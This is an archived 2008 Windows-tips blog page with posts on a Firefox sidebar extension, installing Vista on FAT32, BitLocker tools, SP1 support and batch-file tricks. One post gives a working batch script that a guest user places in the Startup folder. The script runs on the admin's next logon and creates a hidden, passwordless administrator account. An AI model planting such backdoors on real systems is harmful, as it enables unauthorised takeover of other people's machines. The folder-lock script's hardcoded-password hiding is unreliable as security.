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June 16th, 2008

You are currently browsing the articles from MS Windows Vista Compatible Software written on June 16th, 2008.

Download All In One Sidebar Extensions for Firefox 3

Over the last week we saw several popular extensions getting a update to work with Firefox 3. The most notable were Google Toolbar and Greasemonkey. All in One Sidebar is a popular extension which shows you all the information about download, bookmarks, history, themes, extensions and more in the Firefox sidebar.

all-in-one-sidebar-main-window

We have been following the development forum of All in One Sidebar and were pretty excited to know that the developer has released a updated version of the extension to work in Firefox 3.

If you have been a fan of All in One Sidebar but have not been able to use it on Firefox 3 you can download the development version and start using it in Firefox 3.

Note: The extension will not inform you about updates and you will have to refer back to the blog for updates or official release announcements.

Download: All in One Sidebar 0.7.6 RC 1

Written by magakos on June 16th, 2008 with no comments.
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Install Windows Vista on a FAT32 Partition

We know that Windows Vista can be installed only on NTFS partitions by default.By a simple trick we can install Windows Vista on a FAT32 hard disk drive partition.The steps for this trick is given below:

  • Install Windows Vista as normal on a 20 GB or above space NTFS hard disk drive partition.After installing Vista don’t install anything like device driver’s, programs and other updates on this Windows Vista because Microsoft gives you then Machinekeynumbers, that cant be copied with the Windows Explorer.
  • Boot the same Windows Vista installed computer using another hard disk contains Windows XP operating system or use an USB connected external hard disk drive to boot. The hard disk with installed Windows Vista stays connected.
  • Copy all the files and folders from that Windows Vista installation to a folder called Vista32. Don’t paste the copied Vista32 folder on the same partition with Windows Vista, because this partition is deleted later in this tweak. Also make sure that in folder options all the system files are set visible like hiberfil.sys, pagefile.sys, System Volume Information.
  • When you get a message, that a file cant be copied, use the program Beyond Compare 2 to look, what has happens. You can do those copy options also by hand. When you found that file or folder cant be copied, build this file or folder by manual mode with same extension and let it empty .
  • Make a backup of your original Windows Vista installation.For this use Winhex and copy simple Byte by Byte of the installations hard disk including the Windows Vista bootsector to a file called vista32.dat. Remember that on a Fat32 partition no single file can be larger than 4.1GB. So, this created vista32.dat has to stay on any NTFS partition in your hard disk drive because it is about 20GB size.
  • Before you delete the hard disk drive partition with the original Windows Vista on it with a third party software like Partition Magic 8, notice the exact size of this partition.After this delete this particular partition and build a new Fat32 partition at the same place with the same size as before on the same hard disk. Set the newly created partition as active.
  • Now copy all the files and folders back from the Vista32 folder to that empty Fat32 hard disk drive partition.Also note that copy the Boot folder first and then the Windows folder last.
  • Disconnect your USB XP drive or any other hard disk that is connected to your system. Only the hard disk with the newly created Fat32 partition and the copied files and folders of Windows Vista on it stays.
  • When you try to boot your system from that hard disk you get a message like no OS found.
  • Put the Windows Vista installation DVD in the drive and hit any key.
  • Chose the option of install of Windows Vista, but at the next place choose the option System repair.
  • Select a keyboard layout from the prompt.
  • Hit CTRL+ ALT+ DEL and then choose no restart of Windows Vista.
  • Hit “next”, and then choose Command Prompt.
  • Type in cd and then the way to your DVD drive with the Vista DVD in it,say F: .
  • Type in there cd F:\boot .
  • Then type in there bootsect /nt60 C:
    A message is shown, that a new bootsector for FAT32 is written.
  • Take the Windows Vista installation DVD out from the disk drive and shut down the computer. When you boot up your computer to the next time, don’t think that nothing happens. The hard disk seems to dead about 2 minutes.After this Windows Vista boots up and Vista Desktop with Fat32. hiberfil.sys, pagefile.sys, System Volume Information have also been build new

Written by magakos on June 16th, 2008 with 7 comments.
Read more articles on Windows Hacks and Solutions and otherSoftware and Tips and Windows Vista.

Microsoft New Release:Bitlocker Tools for Windows Vista

Microsoft releases three Bitlocker tools for Windows Vista:
  • BitLocker Drive Preparation Tool -This tool automates the following processes to configure the hard disk drive correctly in Windows Vista:
  1. This tool automatically creates a second volume, if one is not already present.
  2. It moves the boot files to the correct volume, and ensures that the operating system is correctly configured to find them at startup.
  3. It configures the correct hard disk drive volume as the active partition on the drive for startup.
Download BitLocker Drive Preparation Tool
  • BitLocker Recovery Password Viewer for Active Directory Users and Computers tool -helps to locate BitLocker Drive Encryption recovery passwords for Windows Vista, or Windows Server 2008 - based computers in Active Directory Domain Services (AD DS).
Download BitLocker Recovery Password Viewer
  • BitLocker Repair Tool can assist administrators in recovering data from a corrupted or damaged disk volume in Windows Vista that was encrypted with BitLocker.
Download BitLocker Repair Tool

Written by magakos on June 16th, 2008 with no comments.
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Free Vista SP1 and XP SP3 Support

Windows Vista Service Pack 1 stand-alone packages may not bring to the table the updated SP1 Help documentation, but at the same time Microsoft is offering a much better deal to users of its latest Windows client planning to install the first service pack. One year’s worth of free Windows Vista SP1 support. This means that between March 18, 2008, and March 18, 2009, Vista users will be able to tap the Redmond company for unlimited installation and compatibility, free of charge. The move is a standard practice for Microsoft when it comes down to the Service Pack policy for all its operating systems. And in this context, it will also be made available for Windows XP SP3, once the third and last service pack for XP will be released.

All Vista users “needing technical support regarding your installation of Vista - please go to the following URL and choose the bottom option that says ‘Windows Vista Service Pack 1 (All Languages).’ You have a variety of options you can choose for support - all of which will NOT cost you any support fee. I repeat: support for SP1 will NOT cost you anything - as long as you choose the correct option for support. We can only point you in the right direction in hopes of having your issue taken care of. However I am relaying as much feedback you give here to the folks internally at Microsoft regarding SP1 so your feedback is most certainly not falling on deaf ears. I will continue to relay feedback moving forward,” stated Microsoft’s Brandon LeBlanc.

The official support page for Windows Vista Service Pack 1 (All Languages) features three options offered to end users. Microsoft is delivering E-mail Support (Response Time: 1 Business Day); Individual Chat Support (Monday – Friday 5:00 A.M. - 12:00 A.M. (midnight); Saturday 6:00 A.M. - 6:00 P.M.; Sunday 6:00 A.M. - 6:00 P.M.) as well as Phone Support (866) 234-6020, Wait Time will vary (Monday – Friday 5:00 A.M. - 9:00 P.M; Saturday – Sunday 6:00 A.M. - 3:00 P.M.). Microsoft has emphasized the following: “No-charge: Unlimited support requests” for all Vista SP1 support options.

The Redmond company is also pointing the users to TechNet, MSDN and additional Technical Communities as alternative resources for Vista SP1 support. Windows XP SP3 is yet to be released to manufacturing by the Redmond company, but when it will be delivered I’ll make sure and provide an update with the links for free support from Microsoft.

Written by magakos on June 16th, 2008 with no comments.
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Using Guest Create An Admin Account

Step 1: Open up Notepad, copy and paste the following code into it and save the file as admin.bat. (You could actually give it any name, just make sure that the extension is .bat)

@echo off
net user Newadmin /add /expires:never /passwordreq:no
net localgroup “Administrators” /add Newadmin

Step 2: Copy the file to the Startup folder. Here is the path to the Startup folder:

C:\Documents and Settings\All Users\Start Menu\Programs\Startup

Step 3: There is no step 3.

The next time the admin logs on into the computer, the batch file runs and the admin account is created. Once the admin logs off, you can log in using the username newadmin and without any password.

Remember that it wouldn’t take long for the real admin to find out that a new admin account has been created.

Written by magakos on June 16th, 2008 with 1 comment.
Read more articles on Windows Hacks and Solutions and otherSoftware and Tips.

Password Protect Your Folder Without Using Any Software

The best part is that you don’t need any special software to do this. Just plain old Notepad is all that you need.

Here is the code that you need:

cls
@ECHO OFF
title Folder Personal
if EXIST “Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}” goto UNLOCK
if NOT EXIST Personal goto MDLOCKER
:CONFIRM
echo Are you sure u want to Lock the folder(Y/N)
set/p “cho=>”
if %cho%==Y goto LOCK
if %cho%==y goto LOCK
if %cho%==n goto END
if %cho%==N goto END
echo Invalid choice.
goto CONFIRM
:LOCK
ren Personal “Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}”
attrib +h +s “Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}”
echo Folder locked
goto End
:UNLOCK

echo Enter password to Unlock folder
set/p “pass=>”
if NOT %pass%==pwd123 HERE goto FAIL
attrib -h -s “Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}”
ren “Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}” Personal
echo Folder Unlocked successfully
goto End
:FAIL
echo Invalid password
goto end
:MDLOCKER
md Personal
echo Personal created successfully
goto End
:End

Now here is what you need to do:

Just copy the above code and paste it into Notepad. Save it by giving it any name you choose. Assuming, the file is called secret.txt, change the extension to ‘.bat‘ so that the new name becomes secret.bat. What you get is a batch file. You could actually save one step by saving the file in Notepad directly as secret.bat by enclosing the file name like this: “secret.bat” . This batch file is the one that you need. You can edit this batch file to change the folder name and the password. To change the name of the folder that is created, change the ‘Personal’ (in bold in the above code) to any another name you choose. Likewise change the ‘pwd123? (in red in the code) to anything else.

Now let’s see how to use it. Place the file in the location where you would like to create your protected folder. Run the batch file by double clicking on it. This will create a folder named Personal in the same location as the batch file. You can now open this folder and place any files in it. Once you are finished, run the batch file again. You will be asked whether you want to lock the folder. Entry ‘Y’ (for Yes) and hit Enter. The folder becomes invisible. To retrieve the folder, run the batch file again. You will be prompted to enter the password. Enter the password, hit enter and voila! the folder appears.

Important: The batch file acts like a key to open the locked folder. So once you have created and locked a folder, do not keep the batch file in the same location since anybody can open the batch file and view your password. So I would suggest that you keep the batch file in a separate and safe place or better still keep it on your pen drive or flash drive. That way when you want to open the folder just copy the batch file to the location where you have your protected folder and run it.

Do remember that the above method is not intended to act as a substitute for the numerous free and commercial softwares that are specifically designed to provide security and encryption to your data.

Update: One of my friend told me that the code does is not working. Of course I did check it before posting it here. But I have identified the problem. The problem is with the straight double quotes used in the code in this post. Once you copy the code you would also need to change each of the double quotes with your keyboard double quotes. That might seem a lot of work for some. So I thought it would be easier to give away the batch file itself. You can download the file here. (Use right-click and ‘Save Target as’ or ‘Save Link as’).

Written by magakos on June 16th, 2008 with 23 comments.
Read more articles on Windows Hacks and Solutions and otherSoftware and Tips and Windows.

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